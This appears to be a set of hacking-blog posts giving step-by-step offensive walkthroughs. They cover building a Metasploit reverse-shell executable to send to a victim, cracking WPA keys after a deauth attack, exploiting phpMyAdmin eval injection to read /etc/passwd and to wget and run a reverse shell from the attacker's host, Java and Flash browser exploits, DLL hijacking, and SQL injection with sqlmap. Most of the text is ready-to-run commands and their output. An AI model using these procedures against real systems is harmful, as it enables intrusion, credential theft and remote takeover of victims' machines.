How to create a binary file with metasploit

This is a how to create a binary file that will be sent to the attacking victim , so first you create the binary file with metasploit , send to the victim and prepare the server to wait for the connection.

cd /pentest/exploits/framework3
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.1.79 LPORT=8888 X > /var/www/exploits/reverse_shell_meterpreter.exe
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.79
set LPORT 8888
exploit

Now your server is waiting for the client , when he opens the file, you will get your meterpreter session on his computer.

Quick how to crack a wireless network

Hello guys, this is a quick how to crack a wireless network.

1) airmon-ng ( Show interfaces)
2) airmon-ng start wlan0 ( Put in monitoring mode and allow it do do channel hopping)
3) airodump-ng mon0 (This will start a channel hopping and look for all access points)
4) Crtl+c
5) Now choose the one that you want to crack from the list with the command
airodump-ng -c 10 --bssid 00:00:00:00:00:00 mon0 -w /root/wpa2crack
And now it is capturing everything only for that specific channel and wireless device.
6) Now you need to capture the handshake, you have to options, wait for the client reconnect or disconnect the client with a deauth attack and force the client to reconnect, to do that type:
7) aireplay-ng -0 1 -a ( access point) 00:00:00:00:00:00 -c (client that I want to launch my attack agaist) 00:00:00:00:00 mon0
8) If you look at the top right corner, you will see WPA HANDSHAKE , then crtl+c
9) You crack it with : aircrack-ng /root/wpa2crack.cap -w /pentest/passwords/wordlist/dict.txt
10 ) You should see your key, you can also use rainbow tables with john the ripper.

phpMyAdmin Prior to 3.3.10.2 and 3.4.3.1 Multiple Remote Vulnerabilities

phpMyAdmin Prior to 3.3.10.2 and 3.4.3.1 Multiple Remote Vulnerabilities
Bugtraq ID: 48563
Class: Input Validation Error
CVE: CVE-2011-2505
CVE-2011-2506
CVE-2011-2507
CVE-2011-2508
Remote: Yes
Local: No
Published: Jul 05 2011 12:00AM
Updated: Jul 26 2011 10:10PM
URL : http://www.securityfocus.com/bid/48563/info

Hello all, this post will be a mix with an old post that I already did wish was "Deface using EVAL() function" + phpmyadmin Prior to 3.3.10.2 and 3.4.3.1.
PhpMyAdmin is prone to multiple remote vulnerabilities, including PHP code-execution and local file-include vulnerabilities.Successful attacks can compromise the affected application and possibly the underlying computer. So, lets test that. We have 2 exploits available.With the first one, we will make the eval option available for us to execute remote commands on the target machine.

php exploit1.php http://172.16.1.18/phpmyadmin
You should get something like this
[i] Running...
[*] Contacting server to retrive session cookie and token.
[i] Cookie:dkucqrelskbq2k8kd2ouive7rsb9t176
[i] Token:64d4cd9570888c981c127bdf47586d65
[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.
[*] Contacting server to make it save the injected code to a file.
[*] Contacting server to test if the injected code executes.
[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!
[+] Use your browser to execute PHP code like this

http://172.16.1.18/phpmyadmin/config/config.inc.php?eval=echo%20'test';

Great, that means it worked.
Now we apply what I explained before about EVAL().
Before you type all the commands, make sure your attacking server is ready for the reverse connection from the target machine. Type this in the attacking server:
nc -l -p 8080 -vvv

Ok, now lets go back to the browser and upload our shell to the server.

http://172.16.1.18/phpmyadmin/config/config.inc.php?eval=system("ls -la /");
http://172.16.1.18/phpmyadmin/config/config.inc.php?eval=system("cat /etc/passwd");
http://172.16.1.18/phpmyadmin/config/config.inc.php?eval=system("wget -P /tmp http://172.16.1.79/exploits/airwolf_reverse_shell");
http://172.16.1.18/phpmyadmin/config/config.inc.php?eval=system("chmod 777 /tmp/airwolf_reverse_shell");
http://172.16.1.18/phpmyadmin/config/config.inc.php?eval=system("/tmp/airwolf_reverse_shell");

After you typed this last line, you go to the attacking server shell to see if the target server connected to you.
listening on [any] 8080 ...
172.16.1.18: inverse host lookup failed: Unknown server error : Connection timed out
connect to [172.16.1.79] from (UNKNOWN) [172.16.1.18] 53365


ls
config.inc.php
id
uid=48(apache) gid=48(apache) groups=48(apache)

Yeap, as you can see got our shell in the server.
Have fun ;)

JAVA CVE-2010-4452

CVE:  CVE-2010-4452
Remote:  Yes
Local:  No
Published:  Feb 15 2011 12:00AM
Updated:  Apr 19 2011 08:45PM
Description: Oracle Java is prone to a remote code-execution vulnerability in Java Runtime Environment.An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges.This vulnerability affects the following supported versions:6 Update 23 and lower.
To exploit you can use the folloing systax on metasploit:
use windows/browser/java_codebase_trust
set SRVHOST 192.168.1.69
set SRVPORT 80
set URIPATH /
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.1.69
set LPORT 8888
exploit
Then open up the client browser and open the URL  http://192.168.1.69/
You should get your shell!
I tested on windows XP and Windows 7, both worked fine, but it didn't worked on ubuntu.

Adobe Flash Player CVE-2011-0611 'SWF' File Remote Memory Corruption Vulnerability

CVE-2011-0611
Remote:  Yes
Local:  No
Published:  Apr 11 2011 12:00AM
Updated:  Apr 21 2011 04:14PM
Hello everyone, its beeing a while since my last post, sorry for the delay on the posts but lately I am really busy, but I will try to keep it up. Today I will do 3 posts, the first one is for Adobe Flash and the other is for webdav and the last for java!
So, this adobe exploit is just another one on the wild.. there is so many, I have desided to put the latest one. No big fuss,just prepare the server on metasploit and open the link on the client, so lets do this:
1) msfconsole and then type this ( adjust to your ip address)
use  windows/browser/adobe_flashplayer_flash10o
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.69
set LPORT 8888
set SRVHOST 192.168.1.69
set SRVPORT 80
set URIPATH /
exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.69:8888
[*] Using URL: 192.168.1.69:80
[*] Server started.
Now, open this URL in the client and you will get your shell.
sessions -i 1
Bear in mind that this link can be hidden inside a div or a frame, so you can open a malisious link even if you don't click on anything.
And that's it ;)

DLL Hijacking

This vulnerability is triggered when a vulnerable file type is opened from the server that is hosting the files.
Ususally , the user has to browse into the directory and open the file, this can be any file, even blank one with nothing inside.
The flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory , and then we got our
shell. So lets do this one.

1) open msfconsole
msf> search webdav.dll
msf> use windows/browser/webdav_dll_hijacker
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set BASENAME  reports
msf> set extensions grp
msf> set LHOST 192.168.1.69
msf> set SRVHOST 192.168.1.69
msf> set LPORT 8888
msf> set SRVPORT 80
msf> set SHARENAME documents
msf> exploit
Now , go to the client and browse this directory file://192.1681.1.69/ and click on any file
Done, you have your shell
msf> sessions

Now, go to this website to see the list of all apps that are vulnerable
http://vupen.com/english/searchengine.php?keyword=insecure+library+loading

How to do sql injections with SQLMAP

Hi everyone, today I will explain how to use a tool called sqlmap, this tool make your life easier , instead guessing the correct url to get the information that you need from the server with weird and complex combinations. There is a website that acunetix made available for sql tests : http://testphp.vulnweb.com/

So, I know that there is a problem in this URL http://testphp.vulnweb.com/listproducts.php?cat=1 because if you type http://testphp.vulnweb.com/listproducts.php?cat=' , you get a msql error :

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74

Now if you want to know how many fields this table has, you have to type this
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 1--
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 2--
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 3--
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 4--
and so on until you get another error, in this case, is 11, so you know that there is 11 fields on this table because if you put order by 12 you get an error.
Ok, now if want to know the user that is running this database I would type :
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT ALL 1,USER(),3,4,5,6,7,8,9,10,11--
Or the database name..
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT ALL 1,DATABASE(),3,4,5,6,7,8,9,10,11--
Check the botton of the page for the results.


Pretty boring and time consuming heim? Lets make this easier with sqlmap.
You can download sqlmap or use the one that is in backtrack : root@bt:/pentest/database/sqlmap/
Open the sqlmap.conf and put the vuln url in the url field, it should look like this :
url = http://testphp.vulnweb.com/listproducts.php?cat=1
save it and now lets run some tests.

1) sqlmap -h ( look all the different things you can do)
2) lets open a sql shell on the remote server with this command : ./sqlmap.py -c sqlmap.conf --sql-shell
Now you are on a shell, you can type any sql query, here are some examples in my sql shell:

web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5
[21:28:02] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> version()
do you want to retrieve the SQL statement output? [Y/n] y
[21:28:55] [INFO] fetching SQL query output: 'version()'
[21:28:55] [INFO] retrieved: 5.0.22-Debian_0ubuntu6.06.6-log
version(): '5.0.22-Debian_0ubuntu6.06.6-log'

sql-shell> user()
do you want to retrieve the SQL statement output? [Y/n] y
[21:29:39] [INFO] fetching SQL query output: 'user()'
[21:29:39] [INFO] retrieved: acuart@localhost
user(): 'acuart@localhost'

################
Now lets lists all databases and tables with the command : ./sqlmap.py -c sqlmap.conf --tables
And this is the result :
Database: acuart
[7 tables]
+---------------------------------------+
| aaars |
| aaastbes |
| aaastbook |
| aaatured |
| aarts |
| aateg |
| artists |
+---------------------------------------+

Database: modrewriteShop
[1 table]
+---------------------------------------+
| products |
+---------------------------------------+

Database: information_schema
[16 tables]
+---------------------------------------+
| CABGG |
| CABGGERIVILEGES |
| CABGGERS |
| CABLES |
| CABLE_CONSTRAINTS |
| CABLE_PRIVILEGES |
| CCATISTICS |
| CCHEMATA |
| CCHEMA_PRIVILEGES |
| CEUTINES |
| CEY_COLUMN_USAGE |
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
+---------------------------------------+


Pretty easy don't you think? Well, this is just and introduction on what you can do this sqlmap, have fun!!